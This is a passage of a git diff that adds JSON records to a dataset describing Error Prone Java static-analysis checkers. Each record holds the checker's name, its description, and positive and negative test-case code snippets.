notEquals(Object obj) {\n if (obj instanceof Foo) {\n return i != ((Foo) obj).i;\n }\n return !(this == obj);\n }\n }" + }, + { + "description": "refactoringHashCode", + "expected-problems": null, + "expected-linenumbers": [ + 181 + ], + "code": "class Foo {\n int i;\n\n @Override\n public int hashCode() {\n return super.hashCode() * 31 + i;\n }\n }\n \n\n class Foo {\n int i;\n\n @Override\n public int hashCode() {\n return System.identityHashCode(this) * 31 + i;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SuppressWarningsDeprecated.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SuppressWarningsDeprecated.json new file mode 100644 index 0000000..d465af0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SuppressWarningsDeprecated.json @@ -0,0 +1,30 @@ +{ + "name": "SuppressWarningsDeprecated", + "language": "java", + "description": "Suppressing \\", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 64, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /*\n * Copyright 2012 The Error Prone Authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n /**\n * Positive cases for {@link SuppressWarningsDeprecated}.\n *\n * @author sjnickerson@google.com (Simon Nickerson)\n */\n public class SuppressWarningsDeprecatedPositiveCases {\n\n // BUG: Diagnostic contains: @SuppressWarnings(\"deprecation\")\n @SuppressWarnings(\"deprecated\")\n public static void positiveCase1() {}\n\n // BUG: Diagnostic contains: @SuppressWarnings(\"deprecation\")\n @SuppressWarnings({\"deprecated\"})\n public static void positiveCase2() {}\n\n // BUG: Diagnostic contains: @SuppressWarnings({\"deprecation\", \"foobarbaz\"})\n @SuppressWarnings({\"deprecated\", \"foobarbaz\"})\n public static void positiveCase3() {}\n\n public static void positiveCase4() {\n // BUG: Diagnostic contains: @SuppressWarnings({\"deprecation\", \"foobarbaz\"})\n @SuppressWarnings({\"deprecated\", \"foobarbaz\"})\n int a = 3;\n }\n\n public static void positiveCase5() {\n // BUG: Diagnostic contains: @SuppressWarnings(\"deprecation\")\n @SuppressWarnings(\"deprecated\")\n int a = 3;\n }\n\n public static void positiveCase6() {\n // BUG: Diagnostic contains: @SuppressWarnings(\"deprecation\")\n @SuppressWarnings(\"deprecated\")\n class Foo {}\n ;\n }\n\n public static void positiveCase7() {\n // BUG: Diagnostic contains: @SuppressWarnings({\"deprecation\", \"foobarbaz\"})\n @SuppressWarnings({\"deprecated\", \"foobarbaz\"})\n class Foo {}\n ;\n }\n\n // BUG: Diagnostic contains: @SuppressWarnings(value = \"deprecation\")\n @SuppressWarnings(value = {\"deprecated\"})\n public static void positiveCase8() {}\n\n // BUG: Diagnostic contains: @SuppressWarnings(value = \"deprecation\")\n @SuppressWarnings(value = \"deprecated\")\n public static void positiveCase9() {}\n }" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 116 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * Negative cases for {@link SuppressWarningsDeprecated}.\n *\n * @author sjnickerson@google.com (Simon Nickerson)\n */\n public class SuppressWarningsDeprecatedNegativeCases {\n @SuppressWarnings({\"deprecation\"})\n public static void negativeCase1() {}\n\n @SuppressWarnings(\"deprecation\")\n public static void negativeCase2() {}\n\n public static void negativeCase3() {\n @SuppressWarnings({\"deprecation\"})\n int a = 3;\n }\n\n public static void negativeCase4() {\n @SuppressWarnings(\"deprecation\")\n int a = 3;\n }\n\n public static void negativeCase5() {\n @SuppressWarnings({\"deprecation\"})\n class Foo {}\n Foo a = null;\n }\n\n public static void negativeCase6() {\n @SuppressWarnings(\"deprecation\")\n class Bar {}\n Bar b = null;\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SuppressWarningsWithoutExplanation.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SuppressWarningsWithoutExplanation.json new file mode 100644 index 0000000..4ae2c31 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SuppressWarningsWithoutExplanation.json @@ -0,0 +1,70 @@ +{ + "name": "SuppressWarningsWithoutExplanation", + "language": "java", + "description": "Use of @SuppressWarnings should be accompanied by a comment describing why the warning is safe to ignore.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 116, + "branches": 8, + "apis": 4, + "test": [ + { + "description": "rawTypesSuppressed", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "class Test {\n @SuppressWarnings(\"deprecation\")\n void test() {}\n }\n \n\n class Test {\n @SuppressWarnings(\"deprecation\") // Safe because...\n void test() {}\n }" + }, + { + "description": "multipleSuppressedWarnings", + "expected-problems": null, + "expected-linenumbers": [ + 55 + ], + "code": "class Test {\n @SuppressWarnings({\"deprecation\", \"another\"})\n void test() {}\n }\n \n\n class Test {\n @SuppressWarnings({\"deprecation\", \"another\"}) // Safe because...\n void test() {}\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 77 + ], + "code": "class Test {\n @SuppressWarnings(\"someotherwarning\")\n void test() {}\n }" + }, + { + "description": "hasInlineComment", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "class Test {\n @SuppressWarnings(\"rawtypes\") // foo\n void test() {}\n }" + }, + { + "description": "suppressedOnEntiereClass", + "expected-problems": null, + "expected-linenumbers": [ + 107 + ], + "code": "@Deprecated\n @SuppressWarnings(\"deprecation\") // foo\n class Test {\n void test() {}\n }" + }, + { + "description": "hasCommentBefore", + "expected-problems": null, + "expected-linenumbers": [ + 123 + ], + "code": "class Test {\n // foo\n @SuppressWarnings(\"deprecation\")\n void test() {}\n }" + }, + { + "description": "hasJavadocBefore", + "expected-problems": null, + "expected-linenumbers": [ + 139 + ], + "code": "class Test {\n /** Frobnicates. This comment might explain why it's safe. */\n @SuppressWarnings(\"deprecation\")\n void test() {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SwigMemoryLeak.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SwigMemoryLeak.json new file mode 100644 index 0000000..7854f88 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SwigMemoryLeak.json @@ -0,0 +1,30 @@ +{ + "name": "SwigMemoryLeak", + "language": "java", + "description": "SWIG generated code that can't call a C++ destructor will leak memory", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 55, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n/**\n * @author irogers@google.com (Ian Rogers)\n */\npublic class SwigMemoryLeakPositiveCases {\n private long swigCPtr;\n protected boolean swigCMemOwn;\n\n public SwigMemoryLeakPositiveCases(long cPtr, boolean cMemoryOwn) {\n swigCMemOwn = cMemoryOwn;\n swigCPtr = cPtr;\n }\n\n public synchronized void delete() {\n if (swigCPtr != 0) {\n if (swigCMemOwn) {\n swigCMemOwn = false;\n // BUG: Diagnostic contains: SWIG generated code that can't call a C++ destructor will leak\n // memory\n throw new UnsupportedOperationException(\"C++ destructor does not have public access\");\n }\n swigCPtr = 0;\n }\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author irogers@google.com (Ian Rogers)\n */\n public class SwigMemoryLeakNegativeCases {\n private long swigCPtr;\n protected boolean swigCMemOwn;\n\n public SwigMemoryLeakNegativeCases(long cPtr, boolean cMemoryOwn) {\n swigCMemOwn = cMemoryOwn;\n swigCPtr = cPtr;\n }\n\n @SuppressWarnings(\"removal\") // deprecated for removal starting in JDK 18\n protected void finalize() {\n delete();\n }\n\n public synchronized void delete() {\n if (swigCPtr != 0) {\n if (swigCMemOwn) {\n swigCMemOwn = false;\n nativeDelete(swigCPtr);\n }\n swigCPtr = 0;\n }\n }\n\n private static native void nativeDelete(long cptr);\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SwitchDefault.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SwitchDefault.json new file mode 100644 index 0000000..b4042e9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SwitchDefault.json @@ -0,0 +1,86 @@ +{ + "name": "SwitchDefault", + "language": "java", + "description": "The default case of a switch should appear at the end of the last statement group", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 112, + "branches": 28, + "apis": 1, + "test": [ + { + "description": "refactoring_groupAndCase", + "expected-problems": null, + "expected-linenumbers": [ + 37 + ], + "code": "class Test {\n void f(int i) {\n switch (i) {\n default:\n case 0:\n return;\n case 1:\n return;\n }\n }\n }\n \n\n class Test {\n void f(int i) {\n switch (i) {\n case 1:\n return;\n case 0:\n default:\n return;\n }\n }\n }" + }, + { + "description": "refactoring_case", + "expected-problems": null, + "expected-linenumbers": [ + 73 + ], + "code": "class Test {\n void f(int i) {\n switch (i) {\n case 2:\n return;\n case 1:\n case 0:\n default:\n return;\n }\n }\n }\n \n\n class Test {\n void f(int i) {\n switch (i) {\n case 2:\n return;\n case 1:\n case 0:\n default:\n return;\n }\n }\n }" + }, + { + "description": "refactoring_group", + "expected-problems": null, + "expected-linenumbers": [ + 111 + ], + "code": "class Test {\n void f(int i) {\n switch (i) {\n case 0:\n default:\n return;\n case 1:\n return;\n }\n }\n }\n \n\n class Test {\n void f(int i) {\n switch (i) {\n case 1:\n return;\n case 0:\n default:\n return;\n }\n }\n }" + }, + { + "description": "refactoring_fallthrough", + "expected-problems": null, + "expected-linenumbers": [ + 147 + ], + "code": "class Test {\n boolean f(int i) {\n switch (i) {\n default:\n return false;\n case 0:\n case 1:\n System.err.println();\n }\n return true;\n }\n }\n \n\n class Test {\n boolean f(int i) {\n switch (i) {\n case 0:\n case 1:\n System.err.println();\n break;\n default:\n return false;\n }\n return true;\n }\n }" + }, + { + "description": "refactoring_fallthroughEmpty", + "expected-problems": null, + "expected-linenumbers": [ + 186 + ], + "code": "class Test {\n boolean f(int i) {\n switch (i) {\n default:\n return false;\n case 0:\n case 1:\n }\n return true;\n }\n }\n \n\n class Test {\n boolean f(int i) {\n switch (i) {\n case 0:\n case 1:\n break;\n default:\n return false;\n }\n return true;\n }\n }" + }, + { + "description": "refactoring_outOfOrder", + "expected-problems": null, + "expected-linenumbers": [ + 223 + ], + "code": "class Test {\n boolean f(int i) {\n switch (i) {\n case 0:\n return true;\n default: // fall through\n case 1: // fall through\n }\n return false;\n }\n }\n \n\n class Test {\n boolean f(int i) {\n switch (i) {\n case 0:\n return true;\n case 1: // fall through\n default: // fall through\n }\n return false;\n }\n }" + }, + { + "description": "newNotation_validDefault", + "expected-problems": null, + "expected-linenumbers": [ + 259 + ], + "code": "class Test {\n public static void nothing1() {}\n\n public static void nothing2() {}\n\n public static void nothing3() {}\n\n public static void switchDefaultCrash(int i) {\n switch (i) {\n case 0 -> nothing1();\n case 1 -> nothing2();\n default -> nothing3();\n }\n }\n }" + }, + { + "description": "newNotation_changeOrder", + "expected-problems": null, + "expected-linenumbers": [ + 284 + ], + "code": "class Test {\n public static void nothing1() {}\n\n public static void nothing2() {}\n\n public static void nothing3() {}\n\n public static void switchDefaultCrash(int i) {\n switch (i) {\n default -> nothing3();\n case 0 -> nothing1();\n case 1 -> nothing2();\n }\n }\n }\n \n\n class Test {\n public static void nothing1() {}\n\n public static void nothing2() {}\n\n public static void nothing3() {}\n\n public static void switchDefaultCrash(int i) {\n switch (i) {\n case 0 -> nothing1();\n case 1 -> nothing2();\n default -> nothing3();\n }\n }\n }" + }, + { + "description": "arrowSwitch_noDefault", + "expected-problems": null, + "expected-linenumbers": [ + 328 + ], + "code": "sealed interface Foo {\n final class Bar implements Foo {}\n\n final class Baz implements Foo {}\n }\n \n\n class Test {\n void f(Foo i) {\n switch (i) {\n case Foo.Bar bar -> {}\n case Foo.Baz baz -> {}\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SymbolToString.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SymbolToString.json new file mode 100644 index 0000000..09fd1a4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SymbolToString.json @@ -0,0 +1,30 @@ +{ + "name": "SymbolToString", + "language": "java", + "description": "Element#toString shouldn't be used for comparison as it is expensive and fragile.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 75, + "branches": 3, + "apis": 2, + "test": [ + { + "description": "noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import com.google.errorprone.BugPattern;\n import com.google.errorprone.BugPattern.SeverityLevel;\n import com.google.errorprone.VisitorState;\n import com.google.errorprone.bugpatterns.BugChecker;\n import com.google.errorprone.bugpatterns.BugChecker.ClassTreeMatcher;\n import com.google.errorprone.matchers.Description;\n import com.sun.source.tree.ClassTree;\n import com.sun.tools.javac.code.Types;\n\n @BugPattern(name = \"Example\", summary = \"\", severity = SeverityLevel.ERROR)\n public class ExampleChecker extends BugChecker implements ClassTreeMatcher {\n @Override\n public Description matchClass(ClassTree t, VisitorState s) {\n return Description.NO_MATCH;\n }\n }" + }, + { + "description": "matchInABugChecker", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "import com.google.errorprone.BugPattern;\n import com.google.errorprone.BugPattern.SeverityLevel;\n import com.google.errorprone.VisitorState;\n import com.google.errorprone.bugpatterns.BugChecker;\n import com.google.errorprone.bugpatterns.BugChecker.ClassTreeMatcher;\n import com.google.errorprone.fixes.SuggestedFix;\n import com.google.errorprone.matchers.Description;\n import com.google.errorprone.matchers.Matcher;\n import com.sun.source.tree.ClassTree;\n import com.sun.tools.javac.code.Symbol;\n import com.sun.tools.javac.code.Symbol.ClassSymbol;\n import com.sun.tools.javac.tree.TreeMaker;\n import com.sun.tools.javac.code.Type;\n import com.sun.tools.javac.code.Types;\n import com.sun.tools.javac.tree.JCTree.JCClassDecl;\n\n @BugPattern(name = \"Example\", summary = \"\", severity = SeverityLevel.ERROR)\n public class ExampleChecker extends BugChecker implements ClassTreeMatcher {\n @Override\n public Description matchClass(ClassTree tree, VisitorState state) {\n Symbol classSymbol = ((JCClassDecl) tree).sym;\n if (classSymbol.toString().contains(\"matcha\")) {\n return describeMatch(tree);\n }\n // BUG: Diagnostic contains: SymbolToString\n if (classSymbol.toString().equals(\"match\")) {\n return describeMatch(tree);\n }\n if (new InnerClass().matchaMatcher(classSymbol)) {\n return describeMatch(tree);\n }\n return Description.NO_MATCH;\n }\n\n class InnerClass {\n boolean matchaMatcher(Symbol sym) {\n // BUG: Diagnostic contains: SymbolToString\n return sym.toString().equals(\"match\");\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SystemConsoleNull.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SystemConsoleNull.json new file mode 100644 index 0000000..8f420f6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SystemConsoleNull.json @@ -0,0 +1,30 @@ +{ + "name": "SystemConsoleNull", + "language": "java", + "description": "System.console() no longer returns null in JDK 22 and newer versions", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 91, + "branches": 11, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import java.io.Console;\n\n class Test {\n boolean f() {\n // BUG: Diagnostic contains:\n return System.console() != null;\n }\n\n boolean g() {\n // BUG: Diagnostic contains:\n return System.console() == null;\n }\n\n boolean h() {\n Console c = System.console();\n // BUG: Diagnostic contains:\n return c == null;\n }\n\n boolean i() {\n Console c = System.console();\n // BUG: Diagnostic contains:\n return c != null;\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 65 + ], + "code": "import java.io.Console;\n\n class Test {\n Console f() {\n return System.console();\n }\n\n boolean h() {\n Console c = System.console();\n c = null;\n return c == null;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SystemExitOutsideMain.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SystemExitOutsideMain.json new file mode 100644 index 0000000..77f25a2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SystemExitOutsideMain.json @@ -0,0 +1,110 @@ +{ + "name": "SystemExitOutsideMain", + "language": "java", + "description": "Code that contains System.exit() is untestable.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "systemExitNotMain", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n void f() {\n // BUG: Diagnostic contains: SystemExitOutsideMain\n System.exit(0);\n }\n }" + }, + { + "description": "systemExitMainLookalikeWithoutParameters", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "class Test {\n public static void main() {\n // BUG: Diagnostic contains: SystemExitOutsideMain\n System.exit(0);\n }\n }" + }, + { + "description": "systemExitMainLookalikeWithTwoParameters", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "class Test {\n public static void main(String[] args, int num) {\n // BUG: Diagnostic contains: SystemExitOutsideMain\n System.exit(0);\n }\n }" + }, + { + "description": "systemExitMainLookalikeWithoutStatic", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "class Test {\n public void main(String[] args) {\n // BUG: Diagnostic contains: SystemExitOutsideMain\n System.exit(0);\n }\n }" + }, + { + "description": "systemExitMainLookalikeDifferentReturnType", + "expected-problems": null, + "expected-linenumbers": [ + 95 + ], + "code": "class Test {\n public static int main(String[] args) {\n // BUG: Diagnostic contains: SystemExitOutsideMain\n System.exit(0);\n return 0;\n }\n }" + }, + { + "description": "systemExitMainLookalikeDifferentVisibility", + "expected-problems": null, + "expected-linenumbers": [ + 112 + ], + "code": "class Test {\n private static void main(String[] args) {\n // BUG: Diagnostic contains: SystemExitOutsideMain\n System.exit(0);\n }\n }" + }, + { + "description": "systemExitMainLookalikeDifferentArrayParameter", + "expected-problems": null, + "expected-linenumbers": [ + 128 + ], + "code": "class Test {\n private static void main(int[] args) {\n // BUG: Diagnostic contains: SystemExitOutsideMain\n System.exit(0);\n }\n }" + }, + { + "description": "systemExitMainLookalikeStringParameter", + "expected-problems": null, + "expected-linenumbers": [ + 144 + ], + "code": "class Test {\n private static void main(String args) {\n // BUG: Diagnostic contains: SystemExitOutsideMain\n System.exit(0);\n }\n }" + }, + { + "description": "systemExitInMethodMainNotInClass", + "expected-problems": null, + "expected-linenumbers": [ + 160 + ], + "code": "class Test {\n public static void foo() {\n // BUG: Diagnostic contains: SystemExitOutsideMain\n System.exit(0);\n }\n }" + }, + { + "description": "systemExitInMethodMainInClassNegative", + "expected-problems": null, + "expected-linenumbers": [ + 176 + ], + "code": "class Test {\n public static void main(String[] args) {\n foo();\n }\n\n public static void foo() {\n System.exit(0);\n }\n }" + }, + { + "description": "systemExitMainVarArgsParameterNegative", + "expected-problems": null, + "expected-linenumbers": [ + 195 + ], + "code": "class Test {\n public static void main(String... args) {\n System.exit(0);\n }\n }" + }, + { + "description": "systemExitMainNegative", + "expected-problems": null, + "expected-linenumbers": [ + 210 + ], + "code": "class Test {\n public static void main(String[] args) {\n System.exit(0);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SystemOut.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SystemOut.json new file mode 100644 index 0000000..6d528f4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SystemOut.json @@ -0,0 +1,30 @@ +{ + "name": "SystemOut", + "language": "java", + "description": "Printing to standard output should only be used for debugging, not in production code", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 66, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.io.PrintStream;\n\n class Test {\n void f() {\n // BUG: Diagnostic contains: SystemOut\n System.out.println();\n // BUG: Diagnostic contains: SystemOut\n System.err.println();\n // BUG: Diagnostic contains: SystemOut\n p(System.out);\n // BUG: Diagnostic contains: SystemOut\n p(System.err);\n // BUG: Diagnostic contains: SystemOut\n Thread.dumpStack();\n // BUG: Diagnostic contains: SystemOut\n new Exception().printStackTrace();\n }\n\n private void p(PrintStream ps) {}\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 61 + ], + "code": "import java.io.*;\n\n class Test {\n void f() {\n new Exception().printStackTrace(new PrintStream((OutputStream) null));\n new Exception().printStackTrace(new PrintWriter((OutputStream) null));\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TestExceptionChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TestExceptionChecker.json new file mode 100644 index 0000000..95a5683 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TestExceptionChecker.json @@ -0,0 +1,126 @@ +{ + "name": "TestExceptionChecker", + "language": "java", + "description": "Using @Test(expected=...) is discouraged, since the test will pass if *any* statement in the test method throws the expected exception", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 152, + "branches": 18, + "apis": 5, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test(expected = IOException.class, timeout = 0L)\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n Files.readAllBytes(p);\n Files.readAllBytes(p);\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.assertThrows;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test(timeout = 0L)\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n Files.readAllBytes(p);\n assertThrows(IOException.class, () -> Files.readAllBytes(p));\n }\n }" + }, + { + "description": "positive_markerAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 71 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test(expected = IOException.class)\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n Files.readAllBytes(p);\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.assertThrows;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n assertThrows(IOException.class, () -> Files.readAllBytes(p));\n }\n }" + }, + { + "description": "positive_markerAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 71 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test(expected = IOException.class)\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n Files.readAllBytes(p);\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.assertThrows;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n assertThrows(IOException.class, () -> Files.readAllBytes(p));\n }\n }" + }, + { + "description": "positive_markerAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 71 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test(expected = IOException.class)\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n Files.readAllBytes(p);\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.assertThrows;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n assertThrows(IOException.class, () -> Files.readAllBytes(p));\n }\n }" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 100 + ], + "code": "" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 100 + ], + "code": "" + }, + { + "description": "oneStatement", + "expected-problems": null, + "expected-linenumbers": [ + 110 + ], + "code": "import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test(expected = IOException.class)\n public void test() throws Exception {\n Files.readAllBytes(Paths.get(\"NOSUCH\"));\n }\n }\n \n\n import static org.junit.Assert.assertThrows;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test\n public void test() throws Exception {\n assertThrows(IOException.class, () -> Files.readAllBytes(Paths.get(\"NOSUCH\")));\n }\n }" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 136 + ], + "code": "" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 136 + ], + "code": "" + }, + { + "description": "oneStatement_withFullyQualifiedTestAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 145 + ], + "code": "import java.io.IOException;\n import java.nio.file.*;\n\n class ExceptionTest {\n @org.junit.Test(expected = IOException.class)\n public void test() throws Exception {\n Files.readAllBytes(Paths.get(\"NOSUCH\"));\n }\n }\n \n\n import static org.junit.Assert.assertThrows;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test\n public void test() throws Exception {\n assertThrows(IOException.class, () -> Files.readAllBytes(Paths.get(\"NOSUCH\")));\n }\n }" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 170 + ], + "code": "" + }, + { + "description": "empty", + "expected-problems": null, + "expected-linenumbers": [ + 179 + ], + "code": "import java.io.IOException;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test(expected = IOException.class)\n public void test() throws Exception {}\n }\n \n\n import java.io.IOException;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test\n public void test() throws Exception {}\n }" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 200 + ], + "code": "" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 200 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TestParametersNotInitialized.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TestParametersNotInitialized.json new file mode 100644 index 0000000..9fbee97 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TestParametersNotInitialized.json @@ -0,0 +1,78 @@ +{ + "name": "TestParametersNotInitialized", + "language": "java", + "description": "This test has @TestParameter fields but is using the default JUnit4 runner. The parameters will not be initialised beyond their default value.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 83, + "branches": 5, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import com.google.testing.junit.testparameterinjector.TestParameter;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class Test {\n @TestParameter public boolean foo;\n }\n \n\n import com.google.testing.junit.testparameterinjector.TestParameter;\n import com.google.testing.junit.testparameterinjector.TestParameterInjector;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(TestParameterInjector.class)\n public class Test {\n @TestParameter public boolean foo;\n }" + }, + { + "description": "onlyFlagsJunit4Runner", + "expected-problems": null, + "expected-linenumbers": [ + 64 + ], + "code": "import org.junit.runners.BlockJUnit4ClassRunner;\n import org.junit.runners.model.InitializationError;\n\n public final class MyRunner extends BlockJUnit4ClassRunner {\n public MyRunner(Class testClass) throws InitializationError {\n super(testClass);\n }\n }\n \n\n import com.google.testing.junit.testparameterinjector.TestParameter;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(MyRunner.class)\n public class Test {\n @TestParameter public boolean foo;\n }" + }, + { + "description": "onlyFlagsJunit4Runner", + "expected-problems": null, + "expected-linenumbers": [ + 64 + ], + "code": "import org.junit.runners.BlockJUnit4ClassRunner;\n import org.junit.runners.model.InitializationError;\n\n public final class MyRunner extends BlockJUnit4ClassRunner {\n public MyRunner(Class testClass) throws InitializationError {\n super(testClass);\n }\n }\n \n\n import com.google.testing.junit.testparameterinjector.TestParameter;\n import 